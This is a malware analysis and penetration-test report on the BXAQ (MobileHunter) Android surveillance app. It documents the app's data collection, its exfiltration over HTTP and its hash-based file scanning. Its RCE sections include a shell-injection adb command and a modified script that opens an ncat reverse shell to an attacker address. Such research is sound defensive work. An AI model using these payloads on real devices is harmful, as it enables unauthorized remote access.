Summary
The BXAQ (MobileHunter) application, used by Chinese authorities for surveillance purposes, poses significant privacy and security risks to users. This mobile penetration test aimed to identify and evaluate these risks by analyzing the application’s behavior and potential vulnerabilities. The assessment revealed that the application collects a wide array of personal data, including calendar entries, contacts, call logs, text messages, and specific files based on their hashes. This data is transmitted to a server at 192.168.43.1:8080 using an insecure HTTP protocol.
Dynamic analysis confirmed that the application exfiltrates collected data, structuring it in ZIP files for transmission. Static analysis further highlighted the extensive and dangerous permissions required by the app, which facilitate its surveillance capabilities. Notably, the application contains several critical security vulnerabilities and violates the privacy of the users:
- Insecure Data Transmission – Data is sent to the server using HTTP, which is vulnerable to interception and compromise.
- Remote Code Execution (RCE) Vulnerability – The WelcomeActivity class executes shell commands that can be manipulated to execute arbitrary code. Additionally, the OpenAssetsToFiles class copies files from the assets directory to the files directory and sets their permissions, which can also be exploited to achieve remote code execution. By manipulating these mechanisms, an attacker can replace binaries and modify their contents to gain a reverse shell on the victim’s device when specific actions are triggered.
- Personal Data Collection and Exfiltration – The application collects extensive personal data from the device, including calendar entries, contacts, call logs, text messages, and scanned files.
Additionally, the wifiscan[_pie] binary is used to pre-process data by scanning files matching hashes listed in the bk_samples.bin database. The application also searches for account identifiers from popular Chinese social networking apps, using the id.conf file to guide its scanning process. Overall, the BXAQ (MobileHunter) application is a comprehensive surveillance tool that collects and transmits extensive personal data. The identified vulnerabilities, particularly the insecure data transmission and RCE flaw, underscore the severe privacy and security threats posed by this application.
Scope of Testing
The assessment focused on a mobile application for Android phones, known as BXAQ. This app is reportedly used by law enforcement personnel in specific regions of China to collect and manage data about certain groups of citizens and minorities.
Used devices:
- Nexus 5X (Virtual Device)
- Google Pixel 3a (Physical Device)
In-Scope Assets
The following assets were included in the scope of this assessment:
| File | Popular threat label | Hash |
| chinese_police_BXNQ.apk | trojan.mobilehunter/spyagent | dc12d5c78117af8167d8e702dd131f838fe86930187542cf904b2122ba32afd1 |
Dynamic Analysis
VirusTotal Report on BXAQ
Analysis Description: The BXAQ application was submitted to VirusTotal for analysis. Out of 70 security vendors, 37 flagged the file as malicious. The primary threat labels associated with this file are “trojan.mobilehunter/spyagent.” The categories identified for this threat are “trojan” and “spyware.” This categorization indicates the application’s ability to perform unauthorized surveillance and data collection, aligning with its known use for monitoring and extracting sensitive information from infected devices.
Steps to reproduce the analysis: Upload “apk” sample file to the VirusTotal1 for analysis.
Initial Analysis and User Interface of BXAQ
Analysis Description: For the initial analysis, the application was installed on an Android virtual device within a sandboxed environment. This setup allowed for secure monitoring of the app’s behavior, providing a clear picture of its operations and potential impact without risking actual device security. This controlled environment enabled the identification of the app’s malicious activities, ensuring that comprehensive data could be collected for further investigation and reporting.
Steps to reproduce the analysis: To install the APK, you can use the following command in your terminal:
adb install <apkname.apk>This command will initiate the installation of the APK file onto the connected Android device, enabling further analysis of the application within the sandboxed environment.
When the application opens, it is displayed as MClient. The interface shows the device’s IP address on the connected network and provides two buttons: one for “Start Checking” and another for “Uninstall.” This straightforward user interface is designed to initiate the app’s monitoring functions or remove the application from the device.
Monitoring the application’s network traffic
Steps to reproduce the analysis: The phone’s traffic is routed through a proxy—specifically, Burp Suite—to monitor the application’s network traffic when the “Start Checking” button is clicked. This setup allows for detailed inspection and analysis of the data being transmitted and received by the application, providing insights into its communication patterns and any potential data exfiltration activities.
The application communicates with the server at “192.168.43.1:8080,” sending ZIP files named in the format “WIFI_phone's name_host identifier.” In this example, the file was named “WIFI_Nexus_5X_111.zip.” This server, likely operated internally by border authorities, facilitates the data transfer over a Wi-Fi network. The communication indicates that the app collects data from the device and transmits it to the server for further processing or monitoring.
The application will display an alert message stating “Data upload failed, please upload again!” if it is unable to connect to the server at “192.168.43.1:8080” because the device is not on the same network or there is no server listening to the requests. This indicates that the data transfer to the server is crucial for the app’s functionality and any network issues or server unavailability will prompt this error message.
To recover the transmitted data, a Python script named “recover.py” was written to extract ZIP file contents from the requests. You can download the script from the following link: recover.py2 on GitHub. This script will help in automating the extraction process, making it easier to analyze the data being sent by the application.
Click on the request in Burp Suite, select the “Copy to file” option from the menu, and save it with a filename such as “request.rq“.
Use the following command to extract the ZIP file from the request:
python3 recover.py -r request.rq
This command runs the “recover.py” script on the saved request file “request.rq” to dump the ZIP file content for further analysis.
To unzip the file and examine its contents, use the following command:
unzip WIFI_Nexus_5X_111.zip -d WIFI_Nexus_5X_111
This command extracts the files from “WIFI_Nexus_5X_111.zip” into a directory named “WIFI_Nexus_5X_111“. From the output, you will see several files exfiltrated from the phone, including messages, indicating the extent of the data captured by the application.
The archive also contains a file named “report.html” where the exfiltrated data is structured for review.
The report includes a sent message that demonstrates the application’s data extraction capabilities.
This message, along with other exfiltrated data such as phone model, IMEI, and a list of messages, is structured within the report.html file, providing a clear overview of the collected information.
Static Analysis
Basic AndroidManifest.xml analysis
Steps to reproduce the analysis: For static analysis, the application was decompiled with apktool d chinese_police_BXNQ.apk -o BXNQ_decompiled command and the AndroidManifest.xml file was examined, revealing several suspicious permissions required for the application to function fully. These permissions include:
These permissions enable the application to access and manipulate a wide range of sensitive data and device functionalities, underscoring its potential for extensive surveillance.
The findings can also be verified using the Mobile Security Framework (MobSF). As observed, several permissions required by the application are marked as dangerous, including:
The MoBSF also highlights top permissions that are widely abused by known malware. These permissions include:
Modification of the Hardcoded Server IP address and port
Steps to reproduce the analysis: For making application fully operated in sandboxed environment needed to change hardcoded server IP address and port number.
Use below command to find patterns:
grep -Iir '192.168.43' * | egrep ".(smali|xml):" | cut -d ':' -f1 | sort -u
For the application to operate fully in a sandboxed environment, it was necessary to modify the hardcoded server IP address and port number. This adjustment ensures that the application can communicate correctly within the controlled testing setup, enabling accurate monitoring and analysis of its behavior. By redirecting its network traffic to a locally controlled server, we could observe the application’s data exfiltration process and other network interactions without the need for access to the original server.
To attach the device to the testing environment and access the filesystem for further analysis, follow these steps:
adb devices
adb shell
Binary and Database Analysis
Steps to reproduce the analysis: Previously, we identified the package named “com.fiberhome.wifiserver” in AndroidManifest.xml. To examine its structure, we can navigate to this folder within the device’s filesystem.
sargo:/ # cd /data/data/com.fiberhome.wifiserverThe folder structure for the package “com.fiberhome.wifiserver” includes the following directories:
The files folder of the “com.fiberhome.wifiserver” package contains binaries and databases that the application uses for data exfiltration and execution. These files are integral to the app’s operation, facilitating the collection and transmission of information from the device.
The same files found in the files folder of the package “com.fiberhome.wifiserver” can also be seen in the decompiled APK’s assets/xbin directory.
The OpenAssetsToFiles class in the application copies files from the assets directory to the files directory and assigns the proper permissions.
File: com/fenghuo/utils/OpenAssetsToFiles.java
File: com/fenghuo/qzj/WelcomeActivity.java
The WelcomeActivity class in the com.fenghuo.qzj package is an Android activity that sets up and manages the application’s main interface. It initializes UI elements such as buttons and text views, handles file extraction from the assets directory to internal storage using OpenAssetsToFiles, and configures network settings by displaying the device’s IP address and managing Wi-Fi connections. The class requests necessary permissions for external storage and audio recording, collects data from the device (like contacts, SMS, call logs, and calendar entries), and transmits this data to a remote server. Additionally, it uses timers and handlers to update the UI and manage background tasks, orchestrating the overall data collection and transmission process.
Additionally, it executes shell commands to run binaries such as wifiscan[_pie] and getVirAccount with specific arguments, such as file paths and modes, to perform various data collection and processing tasks. These commands adjust based on the Android version, ensuring compatibility and proper execution across different devices.
getVirAccount
The getVirAccount binary scans a phone’s storage for account identifiers from popular Chinese social media apps. It reads the id.conf file to determine which directories and files to scan.
The file contains entries specifying the extraction of directory names, file names, or file contents based on regular expressions. The binary then logs the extracted data to an output file. This process helps in collecting account-related data from apps like Tencent QQ and Weibo, facilitating targeted data collection from specified storage paths.
After modifying the application, it was run again to observe its behavior. The application sent a POST request containing zipped exfiltrated data to a locally hosted server, as seen from the screenshot. The server.py3 can be downloaded from Github for replicating the scenario.
This indicates that the app successfully collected and transmitted the targeted data to the specified endpoint, demonstrating its operational functionality and data exfiltration capability.
wifiscan[_pie]
The “Total files hitted” was analyzed by wifiscan[_pie] which reads encrypted database “bk_samples.bin” (See Fig. 27).
As previously mentioned, wifiscan[_pie] accepts several inputs, including the scanning mode, directories for scanning, and output paths. It is possible to execute it manually to observe its behavior. To test the application’s scanning capabilities, a file named dalailama_p10.pdf (with hash b9aa0ab31f184ee23a336b4b3b804835)4 was uploaded to the device’s /sdcard/Download folder. This setup allows the application to detect and process the file during its scan, enabling the observation of how the application handles specific inputs and generates its outputs.
Presumably, the file bk_samples.bin contains file hashes that wifiscan[_pie] uses during its matching process against scanned files. By comparing these hashes with the files found during the scan, wifiscan[_pie] can identify specific files of interest, such as the dalailama_p10.pdf file placed in the /sdcard/Download folder.
To reveal the contents of the “bk_samples.bin”, Dynamic Instrumentation Tools can be used. In this case, Frida5 was installed and configured on the device. First, need to download the Frida server binary for Android from the Frida website and run it on the device.
adb push frida-server /data/local/tmp/
adb shell chmod +x /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
Trace the Binary execution by using Frida, to intercept system calls and function calls within the wifiscan[_pie] binary. By tracing the fopen, fread, and memcpy functions, it is observed how the binary read the bk_samples.bin file line by line and how it processed the data in memory. The tracing script6 can be downloaded from the Github.
____
/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Pixel 3a (id=192.168.*.*:5555)
Spawning `/data/data/com.fiberhome.wifiserver/files/wifiscan_pie sm /sdcard`...
Script loaded and attached.
Spawned `/data/data/com.fiberhome.wifiserver/files/wifiscan_pie sm /sdcard`. Resuming main thread!
[Pixel 3a::wifiscan_pie ]-> memcpy called with dest: 0xffb36110, src: 0xf0284f78, n: 0x3
memcpy returned: 0xffb36110
memcpy called with dest: 0xffb3656c, src: 0xffb3616c, n: 0x29
memcpy returned: 0xffb3656c
memcpy called with dest: 0xefc63858, src: 0xefa805c8, n: 0x1c
memcpy returned: 0xefc63858
memcpy called with dest: 0xffb35b68, src: 0xba59449b, n: 0x9
memcpy returned: 0xffb35b68
memcpy called with dest: 0xffb35b71, src: 0xffb3656c, n: 0x38
memcpy returned: 0xffb35b71
memcpy called with dest: 0xffb35ba9, src: 0xba5944a6, n: 0x1
memcpy returned: 0xffb35ba9
write called with fd: 0x2, buf: 0xffb35b68, count: 0x42
write returned: 0x42
…[snip]…
memcpy returned: 0xffb35b98
write called with fd: 0x2, buf: 0xffb35b68, count: 0x31
write returned: 0x31
open called with path: /data/data/com.fiberhome.wifiserver/files/bk_samples.bin and flags: 0
open returned: 0x5
read called with fd: 0x5, buf: 0xba59a30c, count: 0x80
read returned: 0x80
memcpy called with dest: 0xed7c2c00, src: 0xba59a396, n: 0x80
memcpy returned: 0xed7c2c00
…[snip]…
For intercepting and dumping memcpy function Frida script7 was written which can be downloaded from Github. The memcpy function was intercepted to capture the decrypted data being transferred in memory and intercepted data was logged in hexadecimal format as part of the Frida script.
frida -U -f "/data/data/com.fiberhome.wifiserver/files/wifiscan_pie" -l dump_data.js -- sm /sdcard | tee mem_dump_hex.txt
A Python script was written to convert the logged hexadecimal data into ASCII text, making it readable and understandable. The convert.py8 can be downloaded from the Github.
As seen, from the screenshot, converted “bk_samples.bin” contains file sizes and corresponding hashes which wifiscan[_pie] was using as database. The database holds over 70K entries which were used during the matching process.
As seen from the below screenshot dalailama_p10.pdf (B9AA0AB31F184EE23A336B4B3B804835) also stored in the database which wisifcan[_pie] marked as hitted file.
gen_wifi_cj_flag[_pie]
The application assets include a binary file named gen_wifi_cj_flag[_pie], which decrypts an encrypted log file named cjlog.txt. This log file is generated and written to the device’s storage during the scan process and stores the last scanning date and time.
Notably, even after the application is uninstalled from the device, the encrypted cjlog.txt file remains on the device’s storage. The cjlog.txt content can be decrypted using the trace execution script9 where dumps decrypted data from the memory.
Use below command for tracing and dumping the content during the execution of gen_wifi_cj_flag[_pie] binary:
frida -U -f "/data/data/com.fiberhome.wifiserver/files/gen_wifi_cj_flag_pie" -l trace_execution.js -- /sdcard/Android/cjlog.txt /data/local/tmp/cjlog_plain.txt | tee cjlog_dump.txtThen the previously used tool convert.py8 can be used to decrypt the data to human readable format. Both scripts can be downloaded from Github.
$ python convert.py cjlog_dump.txt cjlog_plain.txt
Processed data has been written to cjlog_plain.txt
$ cat cjlog_plain.txt
…[snip]…
1719140985
…[snip]…
$ date -d@1719140985
Sun Jun 23 07:09:45 AM EDT 2024
Remote code execution (RCE) vulnerability in WelcomeActivity class
Vulnerability Explanation: The WelcomeActivity class contains a function that executes shell commands, which is vulnerable to remote code execution (RCE). This function runs within a new thread and uses the ShellCommands.doSuCmds method to execute binaries such as wifiscan and gen_wifi_cj_flag with specific arguments. These arguments include file paths and modes. The function checks the Android version to decide whether to use the _pie suffix for the binary names. It creates temporary files, sets start times, and reads configuration strings to determine if scanning is enabled. If enabled, it executes the shell commands, potentially allowing an attacker to manipulate these commands and execute arbitrary code.
Severity: High
Affected File: com.fenghuo.qzj.WelcomeActivity
Vulnerable Code:
final int i = Build.VERSION.SDK_INT;
new Thread(new Runnable() { // from class: com.fenghuo.qzj.WelcomeActivity.11.1
@Override // java.lang.Runnable
public void run() {
Looper.prepare();
WelcomeActivity.this.sendMssage(
WelcomeActivity.this.getResources().getString(R.string.checking_file));
Util.createFile(Global.esnPath_ + "scandir_temp");
Util.createFile(Global.absolutefilesPath_ + "/error_file");
new File(Global.absolutePath_);
WelcomeActivity.this.startS = System.currentTimeMillis();
String string =
WelcomeActivity.this.getResources().getString(R.string.scandir_enable);
if (string.contains("true")) {
if (new File(Global.mSdCardPath_ + "/Android/cjlog.txt").exists()) {
if (i >= 16) {
ShellCommands.doSuCmds("sh",
Global.absolutefilesPath_ + "/gen_wifi_cj_flag_pie "
+ Global.mSdCardPath_ + "/Android/cjlog.txt "
+ Global.mSdCardPath_ + "/cjlog_plain.txt 2>"
+ Global.absolutefilesPath_ + "/log_file 1>"
+ Global.absolutefilesPath_ + "/error_file");
} else {
ShellCommands.doSuCmds("sh",
Global.absolutefilesPath_ + "/gen_wifi_cj_flag "
+ Global.mSdCardPath_ + "/Android/cjlog.txt "
+ Global.mSdCardPath_ + "/cjlog_plain.txt 2>"
+ Global.absolutefilesPath_ + "/log_file 1>"
+ Global.absolutefilesPath_ + "/error_file");
}
if (new File(Global.mSdCardPath_ + "/cjlog_plain.txt").exists()) {
WelcomeActivity.this.uiHandler.sendEmptyMessage(7);
return;
}
}
if (i >= 16) {
ShellCommands.doSuCmds("sh",
Global.absolutefilesPath_ + "/wifiscan_pie sm "
+ WelcomeActivity.this.sdP + " 2>" + Global.absolutefilesPath_
+ "/error_file 1>" + Global.esnPath_ + "scandir_temp");
} else {
ShellCommands.doSuCmds("sh",
Global.absolutefilesPath_ + "/wifiscan sm "
+ WelcomeActivity.this.sdP + " 2>" + Global.absolutefilesPath_
+ "/error_file 1>" + Global.esnPath_ + "scandir_temp");
}
}
The this.sdP is set to include all known SD card paths, starting with EXTERNAL_STORAGE and followed by SECONDARY_STORAGE if available. Global.absolutefilesPath_ is set to the app’s data directory where its assets are stored, typically located at /data/data/com.fiberhome.wifiserver/. The Global.esnPath_ indicates the directory where the report is saved.
Vulnerable Code:
Steps to reproduce the analysis: Use the command below to create rce.txt file in the /sdcard/Download directory.
adb shell "EXTERNAL_STORAGE='/sdcard'; echo "RCE" > /sdcard/Download/rce.txt; am start -n com.fiberhome.wifiserver/com.fenghuo.qzj.WelcomeActivity"
After execution, it is possible to check written RCE.txt file with adb shell or accessing over the phone to the Download folder.
Remote code execution (RCE) vulnerability via assets
Vulnerability Explanation: The application contains a vulnerability in the OpenAssetsToFiles class, which copies files from the assets directory to the files directory and sets their permissions. This mechanism can be exploited to achieve remote code execution.
Severity: High
Steps to reproduce the analysis: By replacing the getVirAccount binary with a ncat binary and modifying the wifiscan[_pie] script to execute a reverse shell command, an attacker can gain control over the victim’s device when the application runs.
Place a ncat binary in the app’s assets/xbin directory, renaming it to getVirAccount.
Change the content of wifiscan[_pie] to – e.g., replace TARGET_IP with your attacking machine’s IP address:
#!/system/bin/sh
TARGET_IP="192.168.*.*"
PORT="4443"
/data/data/com.fiberhome.wifiserver/files/getVirAccount $TARGET_IP $PORT -e /system/bin/sh
Rebuild the APK, sign it, uninstall the previously installed BXNQ if necessary, and then install the signed APK on the device.
When the victim clicks “Start Checking” in the application, it executes the wifiscan[_pie] script, initiating a reverse shell connection to the attacker’s machine.
The attacker receives a reverse shell on their attacking machine, gaining unauthorized access to the victim’s device.
Conclusion
The BXAQ (MobileHunter) application is a sophisticated surveillance tool used by Chinese authorities to collect extensive personal data from Android devices. The analysis reveals that the app gathers a wide range of sensitive information, including calendar entries, contacts, call logs, text messages, and specific files based on their hashes. This data is then transmitted to a server at 192.168.43.1:8080 using an insecure HTTP protocol.
Dynamic analysis confirms the app’s capability to exfiltrate messages and other data, which is structured and stored in ZIP files. Static analysis highlights several dangerous permissions required by the app, underscoring its potential for extensive surveillance. Furthermore, the application contains significant security vulnerabilities, including the use of an insecure transmission protocol and an RCE vulnerability in the WelcomeActivity class and with modified binaries.
The wifiscan[_pie] binary plays a crucial role in the app’s functionality, pre-processing data by scanning for files that match hashes listed in the bk_samples.bin database. Files identified as hits are then included in the collected data.
Overall, the BXAQ (MobileHunter) application represents a severe privacy and security threat to users, capable of comprehensive data collection.
Questions and Answers
Q1: What information does this app collect?
The BXAQ (MobileHunter) application collects extensive personal data from the device, including calendar entries, contacts, call logs, text messages, and scanned files. It can access a wide range of sensitive information due to the numerous permissions it requests, such as READ_SMS, READ_CONTACTS, READ_PHONE_STATE, and RECORD_AUDIO. Additionally, it scans the device for specific files listed in the bk_samples.bin database.
Q2: Is there evidence that it actually downloads messages, etc?
Yes, there is evidence that the application collects and exfiltrates messages and other data. The dynamic analysis section mentions that the application transmits collected data, including messages, to a remote server. This was confirmed by intercepting network traffic and extracting the data from transmitted ZIP files.
Q3: Where does it send it to?
The application sends the collected data to a server at 192.168.43.1:8080. This IP address suggests that the server is likely operated internally by border authorities and facilitates data transfer over a Wi-Fi network.
Q4: What security vulnerabilities are present in the application?
Yes, several security vulnerabilities were identified during analysis:
- The application uses the HTTP clear-text protocol during data transmission to the server, which is insecure and vulnerable to interception.
- There is a Remote Code Execution (RCE) vulnerability in the application. The WelcomeActivity class executes shell commands that can be manipulated to execute arbitrary code. Additionally, the OpenAssetsToFiles class copies files from the assets directory to the files directory and sets their permissions, which can also be exploited to achieve remote code execution. By manipulating these mechanisms, an attacker can replace binaries and modify their contents to gain a reverse shell on the victim’s device when specific actions are triggered.
Q5: Is the collected data pre-processed by the application?
Yes, the data is pre-processed by the app. The wifiscan[_pie] binary reads the bk_samples.bin file, which contains file sizes and corresponding hashes, and uses this information to match against files found during the scan. The application then identifies specific files of interest based on these matches.
Q6: What exactly does the app search for? What does it identify as a ‘hit’?
The app searches for files that match the hashes listed in the bk_samples.bin database. It identifies a file as a ‘hit’ if its hash matches one of the hashes in this database. For example, the report mentions that a file named dalailama_p10.pdf with a specific hash was detected and identified as a hit by the application. Additionally, the app searches for account identifiers from popular Chinese social networking apps like Tencent QQ and Weibo. It reads the id.conf file to determine which directories and files to scan for these account identifiers and logs the extracted data to an output file.
References
1 VirusTotal – https://www.virustotal.com/gui/file/dc12d5c78117af8167d8e702dd131f838fe86930187542cf904b2122ba32afd1
2 recover.py – https://github.com/kryptohaker/BXNQ
3 server.py – https://github.com/kryptohaker/BXNQ
4 dalailama_p10.pdf – https://www.virustotal.com/gui/file/1fa261535eb0a3ad53ab499c93a40092f919db25374d081e1aa22a703df48a50
5 Frida – https://github.com/frida/frida/releases
6 trace.js – https://github.com/kryptohaker/BXNQ
7 dump_data.js – https://github.com/kryptohaker/BXNQ
8 convert.py – https://github.com/kryptohaker/BXNQ
9 trace_execution.py – https://github.com/kryptohaker/BXNQ
